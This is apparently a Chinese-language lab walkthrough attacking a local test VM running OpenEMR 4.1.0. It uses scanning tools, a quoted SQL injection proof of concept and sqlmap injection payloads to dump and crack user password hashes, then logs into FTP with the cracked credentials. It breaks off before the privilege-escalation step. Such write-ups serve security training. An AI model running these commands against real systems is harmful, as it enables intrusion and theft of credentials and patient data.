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目录
信息收集
1、arp
2、nmap
3、nikto
4、whatweb
目录探测
1、gobuster
2、dirsearch
WEB
web信息收集
gobuster
cms
sqlmap
爆库
爆表
爆列
爆字段
FTP
提权
信息收集
本地提权
信息收集
1、arp
┌──(root㉿ru)-[~/kali]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:69:c7:bf, IPv4: 192.168.110.128
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.110.1 00:50:56:c0:00:08 VMware, Inc.
192.168.110.2 00:50:56:ec:d1:ca VMware, Inc.
192.168.110.149 00:50:56:38:b0:1e VMware, Inc.
192.168.110.254 00:50:56:ff:50:cf VMware, Inc.5 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.369 seconds (108.06 hosts/sec). 4 responded
2、nmap
端口探测┌──(root㉿ru)-[~/kali]
└─# nmap -p- 192.168.110.149 --min-rate 10000 -oA portD
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-05 08:43 CST
Nmap scan report for 192.168.110.149
Host is up (0.0012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
MAC Address: 00:50:56:38:B0:1E (VMware)Nmap done: 1 IP address (1 host up) scanned in 7.34 seconds信息探测┌──(root㉿ru)-[~/kali]
└─# nmap -sCV -O -Pn -p 21,80 192.168.110.149 --min-rate 10000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-05 08:44 CST
Nmap scan report for 192.168.110.149
Host is up (0.00026s latency).PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.3d
80/tcp open http Apache httpd 2.2.17 ((PCLinuxOS 2011/PREFORK-1pclos2011))
|_http-server-header: Apache/2.2.17 (PCLinuxOS 2011/PREFORK-1pclos2011)
|_http-title: Coming Soon 2
| http-robots.txt: 8 disallowed entries
| /manual/ /manual-2.2/ /addon-modules/ /doc/ /images/
|_/all_our_e-mail_addresses /admin/ /
MAC Address: 00:50:56:38:B0:1E (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|WAP|media device|phone
Running (JUST GUESSING): Linux 2.6.X|3.X|2.4.X (99%), ZyXEL embedded (93%), Osmosys embedded (93%), Ubee embedded (93%), Arris embedded (93%), Linksys embedded (93%), Denon embedded (93%), Google Android 4.0.X (93%)
OS CPE: cpe:/o:linux:linux_kernel:2.6.38 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:2.4.32 cpe:/h:ubee:evw3226 cpe:/h:arris:tg1672 cpe:/h:arris:tg862g cpe:/h:linksys:wrv54g cpe:/o:google:android:4.0.4
Aggressive OS guesses: Linux 2.6.38 (99%), Linux 2.6.32 - 3.5 (98%), Linux 2.6.38 - 3.0 (97%), Linux 2.6.37 (96%), Linux 2.6.9 - 2.6.30 (96%), Linux 2.6.32 - 3.10 (96%), Linux 2.6.18 - 2.6.32 (95%), OpenWrt (Linux 2.4.32) (95%), Linux 2.6.22 (Fedora Core 6) (94%), Linux 2.6.27 - 2.6.28 (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: UnixOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.50 seconds3、nikto
┌──(root㉿ru)-[~/kali]
└─# nikto -h http://192.168.110.149
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.110.149
+ Target Hostname: 192.168.110.149
+ Target Port: 80
+ Start Time: 2024-02-05 08:45:12 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.2.17 (PCLinuxOS 2011/PREFORK-1pclos2011)
+ /: Server may leak inodes via ETags, header found with file /, inode: 264154, size: 5031, mtime: Sat Jan 6 14:21:38 2018. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /robots.txt: contains 8 entries which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
+ /index: Uncommon header 'tcn' found, with contents: list.
+ /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index' were found: index.html. See: http://www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275
+ Apache/2.2.17 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS .
+ /cgi-bin/test.cgi: Site appears vulnerable to the 'shellshock' vulnerability. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
+ /cgi-bin/test.cgi: This might be interesting.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 9724 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time: 2024-02-05 08:45:35 (GMT8) (23 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
4、whatweb
┌──(root㉿ru)-[~/kali]
└─# whatweb http://192.168.110.149/
http://192.168.110.149/ [200 OK] Apache[2.2.17], Bootstrap, Country[RESERVED][ZZ], Email[ex@abc.xyz], HTML5, HTTPServer[PCLinuxOS][Apache/2.2.17 (PCLinuxOS 2011/PREFORK-1pclos2011)], IP[192.168.110.149], JQuery[3.2.1], Script, Title[Coming Soon 2]
目录探测
1、gobuster
┌──(root㉿ru)-[~/kali]
└─# gobuster dir -u http://192.168.110.149/ -x php,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.110.149/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 5031]
/.html (Status: 403) [Size: 1001]
/index (Status: 200) [Size: 5031]
/images (Status: 301) [Size: 346] [--> http://192.168.110.149/images/]
/css (Status: 301) [Size: 343] [--> http://192.168.110.149/css/]
/js (Status: 301) [Size: 342] [--> http://192.168.110.149/js/]
/vendor (Status: 301) [Size: 346] [--> http://192.168.110.149/vendor/]
/favicon (Status: 200) [Size: 1406]
/robots (Status: 200) [Size: 620]
/robots.txt (Status: 200) [Size: 620]
/fonts (Status: 301) [Size: 345] [--> http://192.168.110.149/fonts/]
/.html (Status: 403) [Size: 1001]
/gitweb (Status: 301) [Size: 346] [--> http://192.168.110.149/gitweb/]
/server-status (Status: 403) [Size: 1001]
/phpMyAdmin (Status: 403) [Size: 59]
Progress: 882240 / 882244 (100.00%)
===============================================================
Finished
===============================================================
2、dirsearch
┌──(root㉿ru)-[~/kali]
└─# dirsearch -u http://192.168.110.149 -e* -x 403
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.htmlfrom pkg_resources import DistributionNotFound, VersionConflict_|. _ _ _ _ _ _|_ v0.4.3(_||| _) (/_(_|| (_| )Extensions: php, jsp, asp, aspx, do, action, cgi, html, htm, js, tar.gz | HTTP method: GET | Threads: 25 | Wordlist size: 14594Output File: /root/kali/reports/http_192.168.110.149/_24-02-05_08-47-05.txtTarget: http://192.168.110.149/[08:47:05] Starting:
[08:47:06] 301 - 342B - /js -> http://192.168.110.149/js/
[08:47:50] 200 - 1KB - /cgi-bin/test.cgi
[08:47:58] 301 - 343B - /css -> http://192.168.110.149/css/
[08:48:06] 200 - 1KB - /favicon.ico
[08:48:08] 301 - 345B - /fonts -> http://192.168.110.149/fonts/
[08:48:14] 301 - 346B - /images -> http://192.168.110.149/images/
[08:48:47] 200 - 620B - /robots.txtTask Completed
WEB
web信息收集
发现这些新索不难串联到一起！我们似乎遗漏了什么东西！我们重新进行目录扫描！这次我们换一个字典！
gobuster
┌──(root㉿ru)-[~/kali]
└─# gobuster dir -u http://192.168.110.149/ -x php,txt,html -w /root/kali/1.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.110.149/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /root/kali/1.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index (Status: 200) [Size: 5031]
/openemr (Status: 301) [Size: 347] [--> http://192.168.110.149/openemr/]
/.html (Status: 403) [Size: 1001]
/images (Status: 301) [Size: 346] [--> http://192.168.110.149/images/]
/index.html (Status: 200) [Size: 5031]
/css (Status: 301) [Size: 343] [--> http://192.168.110.149/css/]
/js (Status: 301) [Size: 342] [--> http://192.168.110.149/js/]
/vendor (Status: 301) [Size: 346] [--> http://192.168.110.149/vendor/]
/favicon (Status: 200) [Size: 1406]
/robots (Status: 200) [Size: 620]
/robots.txt (Status: 200) [Size: 620]
/fonts (Status: 301) [Size: 345] [--> http://192.168.110.149/fonts/]
Progress: 29292 / 882248 (3.32%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 29980 / 882248 (3.40%)
===============================================================
Finished
===============================================================
字典去github下载！我们发现扫描到一个新目录！/openemr
cms
是一个cms，OpenEMR v4.1.0 我们使用searchsploit搜索一下
存在两个漏洞！我们都下载下来进行分析！
┌──(root㉿ru)-[~/kali]
└─# cat 17998.txt
# Exploit Title: [Openemr-4.1.0 SQL injection Vulnerability]
# Date: [2011/10/18]
# Author: [I2sec-dae jin Oh]
# Software Link: [http://sourceforge.net/projects/openemr/files/OpenEMR%20Current/4.1.0/openemr-4.1.0.zip/download]
# Vendor : www.open-emr.com
# Version: [Openemr-4.1.0]
# Tested on: [Windows 7]
---------------------------------------
source of : /interface/patient_file/summary/add_edit_issue.php:$irow = array();
if ($issue)
$irow = sqlQuery("SELECT * FROM lists WHERE id = $issue");; <--------------------- SQL injection
else if ($thistype)
$irow['type'] = $thistype
proof of concept:
http://[attack url]/interface/patient_file/summary/add_edit_issue.php?issue=0+union
+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,user(),25,26,27--
通过漏洞我们了解到，这个版本的cms似乎存在sql注入漏洞！我们使用sqlmap进行探测！
sqlmap
登陆包！http://192.168.110.149/openemr/interface/login/validateUser.php?u=1爆库
┌──(root㉿ru)-[~/kali]
└─# sqlmap -u "http://192.168.110.149/openemr/interface/login/validateUser.php?u=1" --dbs --batch_____H_____ ___[(]_____ ___ ___ {1.7.12#stable}
|_ -| . [.] | .'| . |
|___|_ [']_|_|_|__,| _||_|V... |_| https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 09:35:54 /2024-02-05/[09:35:54] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('OpenEMR=ab4cee0fe50...6731f54cdf'). Do you want to use those [Y/n] Y
[09:35:54] [INFO] testing if the target URL content is stable
[09:35:55] [ERROR] there was an error checking the stability of page because of lack of content. Please check the page request results (and probable errors) by using higher verbosity levels
[09:35:55] [INFO] testing if GET parameter 'u' is dynamic
[09:35:55] [WARNING] GET parameter 'u' does not appear to be dynamic
[09:35:55] [INFO] heuristic (basic) test shows that GET parameter 'u' might be injectable (possible DBMS: 'MySQL')
[09:35:55] [INFO] heuristic (XSS) test shows that GET parameter 'u' might be vulnerable to cross-site scripting (XSS) attacks
[09:35:55] [INFO] testing for SQL injection on GET parameter 'u'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[09:35:55] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[09:35:55] [WARNING] reflective value(s) found and filtering out
[09:35:55] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[09:35:55] [INFO] testing 'Generic inline queries'
[09:35:55] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[09:35:55] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[09:35:56] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'
[09:35:56] [INFO] GET parameter 'u' appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)' injectable
[09:35:56] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[09:35:56] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[09:35:56] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[09:35:56] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[09:35:56] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[09:35:56] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[09:35:56] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[09:35:56] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[09:35:56] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[09:35:56] [INFO] GET parameter 'u' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[09:35:56] [INFO] testing 'MySQL inline queries'
[09:35:56] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[09:35:56] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[09:35:56] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[09:35:56] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[09:35:56] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[09:35:56] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[09:35:56] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[09:36:06] [INFO] GET parameter 'u' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[09:36:06] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[09:36:06] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[09:36:06] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[09:36:06] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[09:36:06] [INFO] target URL appears to have 2 columns in query
do you want to (re)try to find proper UNION column types with fuzzy test? [y/N] N
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[09:36:06] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[09:36:06] [INFO] target URL appears to be UNION injectable with 2 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[09:36:06] [INFO] testing 'MySQL UNION query (39) - 21 to 40 columns'
[09:36:06] [INFO] testing 'MySQL UNION query (39) - 41 to 60 columns'
[09:36:07] [INFO] testing 'MySQL UNION query (39) - 61 to 80 columns'
[09:36:07] [INFO] testing 'MySQL UNION query (39) - 81 to 100 columns'
[09:36:07] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
[09:36:07] [WARNING] parameter length constraining mechanism detected (e.g. Suhosin patch). Potential problems in enumeration phase can be expected
GET parameter 'u' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 280 HTTP(s) requests:
---
Parameter: u (GET)Type: boolean-based blindTitle: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)Payload: u=1' OR NOT 7179=7179#Type: error-basedTitle: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)Payload: u=1' AND (SELECT 4288 FROM(SELECT COUNT(*),CONCAT(0x7162766b71,(SELECT (ELT(4288=4288,1))),0x71626a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- eMKbType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: u=1' AND (SELECT 1359 FROM (SELECT(SLEEP(5)))TmNP)-- McSc
---
[09:36:07] [INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: Apache 2.2.17, PHP 5.3.3
back-end DBMS: MySQL >= 5.0
[09:36:07] [INFO] fetching database names
[09:36:07] [INFO] retrieved: 'information_schema'
[09:36:07] [INFO] retrieved: 'openemr'
[09:36:07] [INFO] retrieved: 'test'
available databases [3]:
[*] information_schema
[*] openemr
[*] test[09:36:07] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.110.149'[*] ending @ 09:36:07 /2024-02-05/
从以上信息可以看出，该cms存在布尔盲注、报错注入、时间注入！
爆表
┌──(root㉿ru)-[~/kali]
└─# sqlmap -u "http://192.168.110.149/openemr/interface/login/validateUser.php?u=1" --batch -D openemr --tables_____H_____ ___[)]_____ ___ ___ {1.7.12#stable}
|_ -| . [(] | .'| . |
|___|_ [.]_|_|_|__,| _||_|V... |_| https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 09:38:50 /2024-02-05/[09:38:50] [INFO] resuming back-end DBMS 'mysql'
[09:38:50] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('OpenEMR=656c12b2c0e...f14efd3fd5'). Do you want to use those [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: u (GET)Type: boolean-based blindTitle: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)Payload: u=1' OR NOT 7179=7179#Type: error-basedTitle: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)Payload: u=1' AND (SELECT 4288 FROM(SELECT COUNT(*),CONCAT(0x7162766b71,(SELECT (ELT(4288=4288,1))),0x71626a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- eMKbType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: u=1' AND (SELECT 1359 FROM (SELECT(SLEEP(5)))TmNP)-- McSc
---
Database: openemr
[141 tables]
+---------------------------------+
| array |
| groups |
| log |
| version |
| addresses |
| amc_misc_data |
| ar_activity |
| ar_session |
| audit_details |
| audit_master |
| automatic_notification |
| batchcom |
| billing |
| categories |
| categories_seq |
| categories_to_documents |
| chart_tracker |
| claims |
| clinical_plans |
| clinical_plans_rules |
| clinical_rules |
| code_types |
| codes |
| config |
| config_seq |
| customlists |
| documents |
| documents_legal_categories |
| documents_legal_detail |
| documents_legal_master |
| drug_inventory |
| drug_sales |
| drug_templates |
| drugs |
| eligibility_response |
| eligibility_verification |
| employer_data |
| enc_category_map |
| extended_log |
| facility |
| fee_sheet_options |
| form_dictation |
| form_encounter |
| form_misc_billing_options |
| form_reviewofs |
| form_ros |
| form_soap |
| form_vitals |
| forms |
| gacl_acl |
| gacl_acl_sections |
| gacl_acl_seq |
| gacl_aco |
| gacl_aco_map |
| gacl_aco_sections |
| gacl_aco_sections_seq |
| gacl_aco_seq |
| gacl_aro |
| gacl_aro_groups |
| gacl_aro_groups_id_seq |
| gacl_aro_groups_map |
| gacl_aro_map |
| gacl_aro_sections |
| gacl_aro_sections_seq |
| gacl_aro_seq |
| gacl_axo |
| gacl_axo_groups |
| gacl_axo_groups_map |
| gacl_axo_map |
| gacl_axo_sections |
| gacl_groups_aro_map |
| gacl_groups_axo_map |
| gacl_phpgacl |
| geo_country_reference |
| geo_zone_reference |
| globals |
| gprelations |
| history_data |
| immunizations |
| insurance_companies |
| insurance_data |
| insurance_numbers |
| integration_mapping |
| issue_encounter |
| lang_constants |
| lang_custom |
| lang_definitions |
| lang_languages |
| layout_options |
| lbf_data |
| list_options |
| lists |
| lists_touch |
| notes |
| notification_log |
| notification_settings |
| onotes |
| openemr_module_vars |
| openemr_modules |
| openemr_postcalendar_categories |
| openemr_postcalendar_events |
| openemr_postcalendar_limits |
| openemr_postcalendar_topics |
| openemr_session_info |
| patient_access_offsite |
| patient_access_onsite |
| patient_data |
| patient_reminders |
| payments |
| pharmacies |
| phone_numbers |
| pma_bookmark |
| pma_column_info |
| pma_history |
| pma_pdf_pages |
| pma_relation |
| pma_table_coords |
| pma_table_info |
| pnotes |
| prescriptions |
| prices |
| procedure_order |
| procedure_report |
| procedure_result |
| procedure_type |
| registry |
| rule_action |
| rule_action_item |
| rule_filter |
| rule_patient_data |
| rule_reminder |
| rule_target |
| sequences |
| standardized_tables_track |
| syndromic_surveillance |
| template_users |
| transactions |
| user_settings |
| users |
| users_facility |
| x12_partners |
+---------------------------------+[09:38:52] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.110.149'[*] ending @ 09:38:52 /2024-02-05/
爆列
┌──(root㉿ru)-[~/kali]
└─# sqlmap -u "http://192.168.110.149/openemr/interface/login/validateUser.php?u=1" --batch -D openemr -T users --columns_____H_____ ___[(]_____ ___ ___ {1.7.12#stable}
|_ -| . [)] | .'| . |
|___|_ [.]_|_|_|__,| _||_|V... |_| https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 09:39:15 /2024-02-05/[09:39:16] [INFO] resuming back-end DBMS 'mysql'
[09:39:16] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('OpenEMR=66d022dcc84...e0539bd15f'). Do you want to use those [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: u (GET)Type: boolean-based blindTitle: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)Payload: u=1' OR NOT 7179=7179#Type: error-basedTitle: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)Payload: u=1' AND (SELECT 4288 FROM(SELECT COUNT(*),CONCAT(0x7162766b71,(SELECT (ELT(4288=4288,1))),0x71626a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- eMKbType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: u=1' AND (SELECT 1359 FROM (SELECT(SLEEP(5)))TmNP)-- McSc
---
Database: openemr
Table: users
[53 columns]
+----------------------+--------------+
| Column | Type |
+----------------------+--------------+
| active | tinyint(1) |
| organization | varchar(255) |
| source | tinyint(4) |
| url | varchar(255) |
| abook_type | varchar(31) |
| assistant | varchar(255) |
| authorized | tinyint(4) |
| billname | varchar(255) |
| cal_ui | tinyint(4) |
| calendar | tinyint(1) |
| city | varchar(30) |
| city2 | varchar(30) |
| default_warehouse | varchar(31) |
| email | varchar(255) |
| facility | varchar(255) |
| facility_id | int(11) |
| fax | varchar(30) |
| federaldrugid | varchar(255) |
| federaltaxid | varchar(255) |
| fname | varchar(255) |
| id | bigint(20) |
| info | longtext |
| irnpool | varchar(31) |
| lname | varchar(255) |
| mname | varchar(255) |
| newcrop_user_role | varchar(30) |
| notes | text |
| npi | varchar(15) |
| password | longtext |
| phone | varchar(30) |
| phonecell | varchar(30) |
| phonew1 | varchar(30) |
| phonew2 | varchar(30) |
| pwd_expiration_date | date |
| pwd_history1 | longtext |
| pwd_history2 | longtext |
| see_auth | int(11) |
| specialty | varchar(255) |
| ssi_relayhealth | varchar(64) |
| state | varchar(30) |
| state2 | varchar(30) |
| state_license_number | varchar(25) |
| street | varchar(60) |
| street2 | varchar(60) |
| streetb | varchar(60) |
| streetb2 | varchar(60) |
| taxonomy | varchar(30) |
| title | varchar(30) |
| upin | varchar(255) |
| username | varchar(255) |
| valedictory | varchar(255) |
| zip | varchar(20) |
| zip2 | varchar(20) |
+----------------------+--------------+[09:39:17] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.110.149'[*] ending @ 09:39:17 /2024-02-05/爆字段
┌──(root㉿ru)-[~/kali]
└─# sqlmap -u "http://192.168.110.149/openemr/interface/login/validateUser.php?u=1" --batch -D openemr -T users -C username,password --dump_____H_____ ___[.]_____ ___ ___ {1.7.12#stable}
|_ -| . [,] | .'| . |
|___|_ [(]_|_|_|__,| _||_|V... |_| https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 09:39:49 /2024-02-05/[09:39:50] [INFO] resuming back-end DBMS 'mysql'
[09:39:50] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('OpenEMR=9ed6766ab33...4397ff53ff'). Do you want to use those [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: u (GET)Type: boolean-based blindTitle: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)Payload: u=1' OR NOT 7179=7179#Type: error-basedTitle: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)Payload: u=1' AND (SELECT 4288 FROM(SELECT COUNT(*),CONCAT(0x7162766b71,(SELECT (ELT(4288=4288,1))),0x71626a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- eMKbType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: u=1' AND (SELECT 1359 FROM (SELECT(SLEEP(5)))TmNP)-- McSc
---
[09:39:50] [INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 5.3.3, Apache 2.2.17
back-end DBMS: MySQL >= 5.0
[09:39:50] [INFO] fetching entries of column(s) 'password,username' for table 'users' in database 'openemr'
[09:39:50] [WARNING] reflective value(s) found and filtering out
[09:39:50] [INFO] retrieved: '3863efef9ee2bfbc51ecdca359c6302bed1389e8'
[09:39:50] [INFO] retrieved: 'admin'
[09:39:50] [INFO] retrieved: 'ab24aed5a7c4ad45615cd7e0da816eea39e4895d'
[09:39:50] [INFO] retrieved: 'medical'
[09:39:50] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[09:39:50] [INFO] using hash method 'sha1_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[09:39:50] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[09:39:50] [INFO] starting dictionary-based cracking (sha1_generic_passwd)
[09:39:50] [INFO] starting 2 processes
[09:39:57] [INFO] cracked password 'ackbar' for user 'admin'
[09:40:07] [INFO] cracked password 'medical' for user 'medical'
Database: openemr
Table: users
[2 entries]
+----------+----------------------------------------------------+
| username | password |
+----------+----------------------------------------------------+
| admin | 3863efef9ee2bfbc51ecdca359c6302bed1389e8 (ackbar) |
| medical | ab24aed5a7c4ad45615cd7e0da816eea39e4895d (medical) |
+----------+----------------------------------------------------+[09:40:07] [INFO] table 'openemr.users' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.110.149/dump/openemr/users.csv'
[09:40:07] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.110.149'[*] ending @ 09:40:07 /2024-02-05/
在库openemr 中发现账号以及密码！admin：ackbar
medical：medical
我们登录admin管理员账号！经过探索没有发现可以利用点！我们尝试登录ftp！
FTP
┌──(root㉿ru)-[~/kali]
└─# ftp
ftp> open 192.168.110.149
Connected to 192.168.110.149.
220 ProFTPD 1.3.3d Server (ProFTPD Default Installation) [192.168.110.149]
Name (192.168.110.149:root): medical
331 Password required for medical
Password:
230 User medical logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||36674|)
150 Opening ASCII mode data connection for file list
drwxr--r-- 2 medical medical 4096 Nov 5 2011 Desktop
drwx------ 2 medical medical 4096 Nov 5 2011 Documents
drwx------ 2 medical medical 4096 Oct 27 2011 Downloads
drwx------ 2 medical medical 4096 Jan 19 2010 Movies
drwx------ 2 medical medical 4096 Jan 19 2010 Music
drwx------ 2 medical medical 4096 Oct 27 2011 Pictures
drwxr-xr-x 2 medical medical 4096 Jul 20 2011 Templates
drwxr-xr-x 2 medical medical 4096 Jul 20 2011 Videos
